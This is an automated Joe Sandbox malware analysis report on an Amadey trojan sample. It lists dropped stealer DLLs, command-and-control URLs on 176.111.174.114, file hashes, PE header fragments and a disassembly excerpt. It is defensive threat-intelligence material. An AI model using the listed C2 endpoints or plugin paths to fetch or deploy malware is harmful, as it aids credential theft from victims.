b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\1a9f26b569d5df\scr.dll	100%	Avira	HEUR/AGEN.1136939
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll	100%	Avira	HEUR/AGEN.1137247
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\scr[1].dll	100%	Avira	HEUR/AGEN.1136939
C:\ProgramData\1a9f26b569d5df\cred.dll	100%	Avira	HEUR/AGEN.1137247
C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	100%	Joe Sandbox ML
C:\ProgramData\1a9f26b569d5df\cred.dll	83%	ReversingLabs	Win32.Infostealer.Decred
C:\ProgramData\1a9f26b569d5df\scr.dll	83%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll	83%	ReversingLabs	Win32.Infostealer.Decred
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\scr[1].dll	83%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	34%	ReversingLabs	Win32.Spyware.Convagent

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://176.111.174.11414/Hnq8vS/index.php	0%	Avira URL Cloud	safe
http://176.111.174.114/0	0%	Avira URL Cloud	safe
http://176.111.174.114/Hnq8vS/index.phpE	0%	Avira URL Cloud	safe
http://176.111P	0%	Avira URL Cloud	safe
http://176.111.174.114/	0%	Avira URL Cloud	safe
http://176.111.174.114/Hnq8vS/index.php	0%	Avira URL Cloud	safe
http://176.111.174.114//Hnq8vS/index.php?scr=up	0%	Avira URL Cloud	safe
http://176.111.174.114/Hnq8vS/index.php~	0%	Avira URL Cloud	safe
http://176.111.174.114/Hnq8vS/plugins/cred.dll	0%	Avira URL Cloud	safe
http://176.111.174.114//Hnq8vS/index.php	0%	Avira URL Cloud	safe
http://176.111.174.114/Hnq8vS/plugins/scr.dll	0%	Avira URL Cloud	safe
http://176.111.174.114/Hnq8vS/index.php9	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://176.111.174.114/	true	Avira URL Cloud: safe	unknown
http://176.111.174.114/Hnq8vS/index.php	true	Avira URL Cloud: safe	unknown
http://176.111.174.114//Hnq8vS/index.php?scr=up	true	Avira URL Cloud: safe	unknown
http://176.111.174.114/Hnq8vS/plugins/cred.dll	true	Avira URL Cloud: safe	unknown
http://176.111.174.114//Hnq8vS/index.php	true	Avira URL Cloud: safe	unknown
http://176.111.174.114/Hnq8vS/plugins/scr.dll	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://176.111.174.11414/Hnq8vS/index.php	blfte.exe, 00000003.00000002.756217622.0000000002E34000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://176.111.174.114/0	blfte.exe, 00000003.00000002.750708409.00000000006FE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://176.111.174.114/Hnq8vS/index.phpE	blfte.exe, 00000003.00000002.756277182.0000000002E39000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://176.111P	blfte.exe, 00000003.00000002.756024475.0000000002DD0000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
http://176.111.174.114/Hnq8vS/index.php~	blfte.exe, 00000003.00000002.756308062.0000000002E3D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://176.111.174.114/Hnq8vS/index.php9	blfte.exe, 00000003.00000002.756308062.0000000002E3D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
http	unknown	unknown		unknown	unknown	true
176.111.174.114	unknown	Russian Federation		201305	WILWAWPL	true

Private

IP
192.168.2.5

General Information

Joe Sandbox Version:	32.0.0 Black Diamond
Analysis ID:	399599
Start date:	28.04.2021
Start time:	23:21:23
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 39s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@12/8@0/3
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 68% Number of executed functions: 68 Number of non-executed functions: 164
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption
Warnings:	Show All Excluded IPs from analysis (whitelisted): 72.21.91.29, 13.88.21.125, 204.79.197.200, 13.107.21.200, 20.50.102.62, 104.42.151.234, 92.122.145.220, 52.147.198.201, 23.57.80.111, 20.49.157.6, 92.122.213.247, 92.122.213.194, 20.54.26.129, 52.155.217.156, 40.64.100.89 Excluded domains from analysis (whitelisted): mw1eap.displaycatalog.md.mp.microsoft.com.akadns.net, displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, cs9.wac.phicdn.net, arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, consumerrp-displaycatalog-aks2eap-europe.md.mp.microsoft.com.akadns.net, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, ocsp.digicert.com, www-bing-com.dual-a-0001.a-msedge.net, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, consumerrp-displaycatalog-aks2eap-uswest.md.mp.microsoft.com.akadns.net, www.bing.com, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, fs.microsoft.com, dual-a-0001.a-msedge.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, displaycatalog-uswesteap.md.mp.microsoft.com.akadns.net, skypedataprdcoleus16.cloudapp.net, ris.api.iris.microsoft.com, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net, skypedataprdcolwus15.cloudapp.net, skypedataprdcolwus16.cloudapp.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
23:22:21	API Interceptor	6842x Sleep call for process: blfte.exe modified
23:22:47	API Interceptor	69x Sleep call for process: rundll32.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
176.111.174.114	wKYTg7Gp6P.exe	Get hash	malicious	Browse	176.111.174.114/Hnq8vS/index.php

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
WILWAWPL	wKYTg7Gp6P.exe	Get hash	malicious	Browse	176.111.174.114
	nqG4It8G4V.exe	Get hash	malicious	Browse	176.111.174.125
	order_Z0012112202927225.xlsb	Get hash	malicious	Browse	176.111.174.59
	1saqYENLtb.exe	Get hash	malicious	Browse	176.111.174.14
	subscription_161.xlsb	Get hash	malicious	Browse	176.111.174.62
	subscription_1618510398.xlsb	Get hash	malicious	Browse	176.111.174.62
	Fattura.xlsb	Get hash	malicious	Browse	176.111.174.62
	subscription_number.xlsb	Get hash	malicious	Browse	176.111.174.62
	subscription_1618334083.xlsb	Get hash	malicious	Browse	176.111.174.61
	bD6eTV97DJ.exe	Get hash	malicious	Browse	176.111.174.14
	subscription_1617898525.xlsb	Get hash	malicious	Browse	176.111.174.61
	subscription_1617722106.xlsb	Get hash	malicious	Browse	176.111.174.58
	iUavNne3hp.exe	Get hash	malicious	Browse	176.111.174.143
	569390.dll	Get hash	malicious	Browse	176.111.174.57
	_____.xlsb	Get hash	malicious	Browse	176.111.174.57
	aRmz1908QI.exe	Get hash	malicious	Browse	176.111.174.14
	subscription_1617291670.xlsb	Get hash	malicious	Browse	176.111.174.57
	subscription_1617218228.xlsb	Get hash	malicious	Browse	176.111.174.57
	ewW37lf3Bd.exe	Get hash	malicious	Browse	176.111.174.66
	oGXloWqEh5.exe	Get hash	malicious	Browse	176.111.174.66

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\ProgramData\1a9f26b569d5df\scr.dll	wKYTg7Gp6P.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll	wKYTg7Gp6P.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\scr[1].dll	wKYTg7Gp6P.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe	wKYTg7Gp6P.exe	Get hash	malicious	Browse
C:\ProgramData\1a9f26b569d5df\cred.dll	wKYTg7Gp6P.exe	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\1a9f26b569d5df\cred.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127488
Entropy (8bit):	6.506297388263336
Encrypted:	false
SSDEEP:	3072:WeZmogDk+xTMLObNlEB+VSdQgXHOPz2XrLekm9:WeZkgOThNlIWzo
MD5:	985F9C4D8BF231CA08046BCD44D558EB
SHA1:	DE5711528D94DAB76186D9695CE19C3C6C26EEC9
SHA-256:	78322121578342E588375350F56EDB5E0A6D4B889C6425814590AFD1A967E650
SHA-512:	939DED352BF569DDC0EC01C642FB6DDB12D055B8A785FB717DAA63E9E3F141FF13A40291C18DF2D8EA28B2860F91067B9CFD1A740A587B7726D9CB293155E44F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\ProgramData\1a9f26b569d5df\cred.dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: wKYTg7Gp6P.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................X....................@..........................@..........................................@.......&.... ..............................................................................................................CODE................................ ..`DATA................................@...BSS......................................idata..&...........................@....edata..@...........................@..P.reloc..............................@..P.rsrc........ ......................@..P.............@......................@..P................................................................................................................................................................................

C:\ProgramData\1a9f26b569d5df\scr.dll Download File
Process:	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	227328
Entropy (8bit):	6.551095959374544
Encrypted:	false
SSDEEP:	6144:SJ+WK/pvT7arfwKFzDTsv5oaTh45CjBscX9TlHN:JJpb7Y7vf5i5X9TFN
MD5:	A48DC2DA2655FD049E37E36FCDA28FBA
SHA1:	96CE27AB5FEC62C6AC3ED96DD1BDC2DEFAD5499E
SHA-256:	76F6C712403A2F6213390AB2A72A82C98C9C48E1B1BDE182AA5932BD02A06D43
SHA-512:	37AD66440213CC29EC658158151366AFD077A2FF941323B4190279A4344F1B4C55109A5CF80B96ABD9BD4D07741A8CDAEC5D3651C53B0DD87F2E720C73264490
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: wKYTg7Gp6P.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................j......0........ ....@..................................................................p..?....P...................................&..................................................................................CODE....H........................... ..`DATA....`.... ......................@...BSS..........@......."...................idata.......P......."..............@....edata..?....p.......6..............@..P.reloc...&.......(...8..............@..P.rsrc................`..............@..P.....................x..............@..P................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	127488
Entropy (8bit):	6.506297388263336
Encrypted:	false
SSDEEP:	3072:WeZmogDk+xTMLObNlEB+VSdQgXHOPz2XrLekm9:WeZkgOThNlIWzo
MD5:	985F9C4D8BF231CA08046BCD44D558EB
SHA1:	DE5711528D94DAB76186D9695CE19C3C6C26EEC9
SHA-256:	78322121578342E588375350F56EDB5E0A6D4B889C6425814590AFD1A967E650
SHA-512:	939DED352BF569DDC0EC01C642FB6DDB12D055B8A785FB717DAA63E9E3F141FF13A40291C18DF2D8EA28B2860F91067B9CFD1A740A587B7726D9CB293155E44F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B87Z87FM\cred[1].dll, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: wKYTg7Gp6P.exe, Detection: malicious, Browse
Reputation:	low
IE Cache URL:	http://176.111.174.114/Hnq8vS/plugins/cred.dll
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................X....................@..........................@..........................................@.......&.... ..............................................................................................................CODE................................ ..`DATA................................@...BSS......................................idata..&...........................@....edata..@...........................@..P.reloc..............................@..P.rsrc........ ......................@..P.............@......................@..P................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PEJLKQA8\scr[1].dll Download File
Process:	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	227328
Entropy (8bit):	6.551095959374544
Encrypted:	false
SSDEEP:	6144:SJ+WK/pvT7arfwKFzDTsv5oaTh45CjBscX9TlHN:JJpb7Y7vf5i5X9TFN
MD5:	A48DC2DA2655FD049E37E36FCDA28FBA
SHA1:	96CE27AB5FEC62C6AC3ED96DD1BDC2DEFAD5499E
SHA-256:	76F6C712403A2F6213390AB2A72A82C98C9C48E1B1BDE182AA5932BD02A06D43
SHA-512:	37AD66440213CC29EC658158151366AFD077A2FF941323B4190279A4344F1B4C55109A5CF80B96ABD9BD4D07741A8CDAEC5D3651C53B0DD87F2E720C73264490
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: wKYTg7Gp6P.exe, Detection: malicious, Browse
IE Cache URL:	http://176.111.174.114/Hnq8vS/plugins/scr.dll
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................j......0........ ....@..................................................................p..?....P...................................&..................................................................................CODE....H........................... ..`DATA....`.... ......................@...BSS..........@......."...................idata.......P......."..............@....edata..?....p.......6..............@..P.reloc...&.......(...8..............@..P.rsrc................`..............@..P.....................x..............@..P................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\152138533219.jpg Download File
Process:	C:\Windows\SysWOW64\rundll32.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1280x1024, frames 3
Category:	dropped
Size (bytes):	12996579
Entropy (8bit):	7.896420621611098
Encrypted:	false
SSDEEP:	393216:A2V2V2V2V2V2h2h2h2h2h2h2h2h2h2h2h2h2h2h2h2h2h2h2h2L2L2L2L2L2L2LI:A2V2V2V2V2V2h2h2h2h2h2h2h2h2h2hU
MD5:	A258EF3EC5CD46871903AF0363DBD1DD
SHA1:	4E5D4687F03E8D2465E85CA592DDB2E8197D8C29
SHA-256:	4E0D9D0FFF85374FF8D27FBD016B2F02090DC9677D9CB4FA8D0839CAB1CA9519
SHA-512:	61D8B38C3942FFD27396AD5959BA6EEBB1CC91BE417E228ADC80AAB90C24C0A162053A011F3C25A62F7B995C467A97B5C5A7BC39A669F77DB88D1ECBEC282F98
Malicious:	false
Preview:	......JFIF.............C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..P./..R..w\..5.\i...G.zu{....S.....;/..V.e..OP.H.<Q.+.....r...COp..V0.&..8"............]\|J....\.....(....I5.g.m..X....h..(V.....).j.}........c..x..o.Z.....\|/.{........+.<........I...].....n1..'.."..P.)y-X...&.$}..?.=..&...vW.>E.U.Ev...g_.......kB.y.Y..Y7..........;..8<.\[o.].e..s..E.....?.....)r..vW..D.K'jn..b..M.ND>..~.....4.\|7u.{...t...>.e_..\|.o.9..

C:\Users\user\AppData\Local\Temp\15213853321935212556 Download File
Process:	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe
File Type:	empty
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Preview:

C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe Download File
Process:	C:\Users\user\Desktop\b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	290304
Entropy (8bit):	6.9441301701352725
Encrypted:	false
SSDEEP:	6144:QyRnLkiC4K+lDKzhQd22R+hb8L6COx6bHpk:7IiC4K6H0bK1oIHp
MD5:	31AB82365078548DCEA62DA7C2380B2E
SHA1:	712FBB4DF005439B9810090FD3A2962848E252C4
SHA-256:	B5A399C0EA40983ABC68B828CCB14EFDE2DB90C047BBFBA9AE418317CE7F036D
SHA-512:	937BFD9845CC25A6739B8DF0CAC685C5499F4D55D5F70FFF5CE61A4569B7BE96D84E987E001B8E8109200C485F681BCC86911A29CC5E5E45B978DBACE7DA2CE3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 34%
Joe Sandbox View:	Filename: wKYTg7Gp6P.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u..1h..1h..1h../:$.*h../:2.Nh../:5..h......6h..1h..h../:;.0h../:#.0h../:%.0h../: .0h..Rich1h..........................PE..L....b.^.................8..........C-.......P....@..........................0..........................................b...,~..P....0..............................0R..............................@s..@............P...............................text....6.......8.................. ..`.rdata..r9...P...:...<..............@..@.data................v..............@....rsrc........0.......v..............@..@........................................................................................................................................................................................................................................................................................................................................................

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.9441301701352725
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	b5a399c0ea40983abc68b828ccb14efde2db90c047bbf.exe
File size:	290304
MD5:	31ab82365078548dcea62da7c2380b2e
SHA1:	712fbb4df005439b9810090fd3a2962848e252c4
SHA256:	b5a399c0ea40983abc68b828ccb14efde2db90c047bbfba9ae418317ce7f036d
SHA512:	937bfd9845cc25a6739b8df0cac685c5499f4d55d5f70fff5ce61a4569b7be96d84e987e001b8e8109200c485f681bcc86911a29cc5e5e45b978dbace7da2ce3
SSDEEP:	6144:QyRnLkiC4K+lDKzhQd22R+hb8L6COx6bHpk:7IiC4K6H0bK1oIHp
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......u...1h..1h..1h../:$.*h../:2.Nh../:5..h......6h..1h...h../:;.0h../:#.0h../:%.0h../: .0h..Rich1h..........................PE..L..

File Icon


Icon Hash:	c4f4b0c8e248f0f0

Static PE Info

General
Entrypoint:	0x402d43
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x5EAE622E [Sun May 3 06:18:22 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	bb9b795544094538cd165b5318ebab0d

Entrypoint Preview

Instruction
call 00007F9518F96E59h
jmp 00007F9518F9137Eh
int3
int3
int3
mov ecx, dword ptr [esp+04h]
test ecx, 00000003h
je 00007F9518F91526h
mov al, byte ptr [ecx]
add ecx, 01h
test al, al
je 00007F9518F91550h
test ecx, 00000003h
jne 00007F9518F914F1h
add eax, 00000000h
lea esp, dword ptr [esp+00000000h]
lea esp, dword ptr [esp+00000000h]
mov eax, dword ptr [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, FFFFFFFFh
xor eax, edx
add ecx, 04h
test eax, 81010100h
je 00007F9518F914EAh
mov eax, dword ptr [ecx-04h]
test al, al
je 00007F9518F91534h
test ah, ah
je 00007F9518F91526h
test eax, 00FF0000h
je 00007F9518F91515h
test eax, FF000000h
je 00007F9518F91504h
jmp 00007F9518F914CFh
lea eax, dword ptr [ecx-01h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-02h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-03h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
lea eax, dword ptr [ecx-04h]
mov ecx, dword ptr [esp+04h]
sub eax, ecx
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 20h
mov eax, dword ptr [ebp+08h]
push esi
push edi
push 00000008h
pop ecx
mov esi, 004152DCh
lea edi, dword ptr [ebp-20h]
rep movsd
mov dword ptr [ebp-08h], eax
mov eax, dword ptr [ebp+0Ch]
pop edi
mov dword ptr [ebp-04h], eax
pop esi
test eax, eax
je 00007F9518F9150Eh
test byte ptr [eax], 00000008h
je 00007F9518F91509h
mov dword ptr [ebp+00h], 00000000h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[LNK] VS2008 build 21022
[ASM] VS2008 build 21022
[IMP] VS2005 build 50727
[RES] VS2008 build 21022
[EXP] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x18910	0x62	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x17e2c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa3000	0xf7b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x15230	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x17340	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x15000	0x1e0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x13696	0x13800	False	0.563100961538	data	6.65905249546	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x15000	0x3972	0x3a00	False	0.421875	data	5.58706204256	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x19000	0x89aa8	0x20000	False	0.847595214844	data	7.36744491938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xa3000	0xf7b0	0xf800	False	0.491258190524	data	5.38517904861	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0xb2390	0x2	data	Slovenian	Slovenia
CUZOPECADUDONAGUJOVENEKOCUZEVO	0xb0670	0x6c5	ASCII text, with very long lines, with no line terminators	Slovenian	Slovenia
DAKALAMOXITILAWOZEXUGELE	0xb1fb8	0x3d8	ASCII text, with very long lines, with no line terminators	Slovenian	Slovenia
FUCUTI	0xb0d38	0x127b	ASCII text, with very long lines, with no line terminators	Slovenian	Slovenia
RT_ICON	0xa3600	0xea8	data	Slovenian	Slovenia
RT_ICON	0xa44a8	0x8a8	data	Slovenian	Slovenia
RT_ICON	0xa4d50	0x6c8	data	Slovenian	Slovenia
RT_ICON	0xa5418	0x568	GLS_BINARY_LSB_FIRST	Slovenian	Slovenia
RT_ICON	0xa5980	0x25a8	data	Slovenian	Slovenia
RT_ICON	0xa7f28	0x10a8	dBase III DBT, version number 0, next free block index 40	Slovenian	Slovenia
RT_ICON	0xa8fd0	0x988	data	Slovenian	Slovenia
RT_ICON	0xa9958	0x468	GLS_BINARY_LSB_FIRST	Slovenian	Slovenia
RT_ICON	0xa9e38	0xea8	data	Slovenian	Slovenia
RT_ICON	0xaace0	0x8a8	dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 5083694, next used block 13497278	Slovenian	Slovenia
RT_ICON	0xab588	0x6c8	data	Slovenian	Slovenia
RT_ICON	0xabc50	0x568	GLS_BINARY_LSB_FIRST	Slovenian	Slovenia
RT_ICON	0xac1b8	0x25a8	data	Slovenian	Slovenia
RT_ICON	0xae760	0x10a8	data	Slovenian	Slovenia
RT_ICON	0xaf808	0x988	data	Slovenian	Slovenia
RT_ICON	0xb0190	0x468	GLS_BINARY_LSB_FIRST	Slovenian	Slovenia
RT_STRING	0xb24e0	0x2ce	data	Slovenian	Slovenia
RT_GROUP_ICON	0xa9dc0	0x76	data	Slovenian	Slovenia
RT_GROUP_ICON	0xb05f8	0x76	data	Slovenian	Slovenia
RT_VERSION	0xb2398	0x144	data	Slovenian	Slovenia

Imports

DLL	Import
KERNEL32.dll	SetPriorityClass, WriteConsoleInputW, lstrlenA, SetLocalTime, BuildCommDCBAndTimeoutsA, FreeLibrary, LoadResource, SystemTimeToTzSpecificLocalTime, DeleteVolumeMountPointA, SetWaitableTimer, LoadLibraryExW, ZombifyActCtx, GlobalSize, HeapFree, SetComputerNameW, CallNamedPipeW, VirtualFree, WriteFile, EnumTimeFormatsW, SetProcessPriorityBoost, TlsSetValue, GetVolumeInformationA, SizeofResource, GetVersionExW, LeaveCriticalSection, GetFileAttributesA, SetConsoleMode, GetThreadContext, VerifyVersionInfoA, SetSystemPowerState, TerminateProcess, GetTimeZoneInformation, GetBinaryTypeW, DisconnectNamedPipe, RaiseException, DeactivateActCtx, CreateJobObjectA, OpenMutexW, GetHandleInformation, GetLastError, SetLastError, CreateNamedPipeA, MoveFileW, LoadLibraryA, LocalAlloc, GetCommMask, GetOEMCP, DebugBreakProcess, VirtualProtect, GetCurrentDirectoryA, GetSystemTime, GetConsoleSelectionInfo, GetProfileSectionW, lstrcpyA, SetConsoleCursorPosition, GetCommandLineW, DeleteFileA, HeapReAlloc, HeapAlloc, GetStartupInfoW, RtlUnwind, EnterCriticalSection, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, DeleteCriticalSection, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, HeapCreate, VirtualAlloc, GetModuleHandleW, Sleep, GetProcAddress, ExitProcess, GetModuleFileNameA, GetModuleFileNameW, FreeEnvironmentStringsW, GetEnvironmentStringsW, TlsGetValue, TlsAlloc, 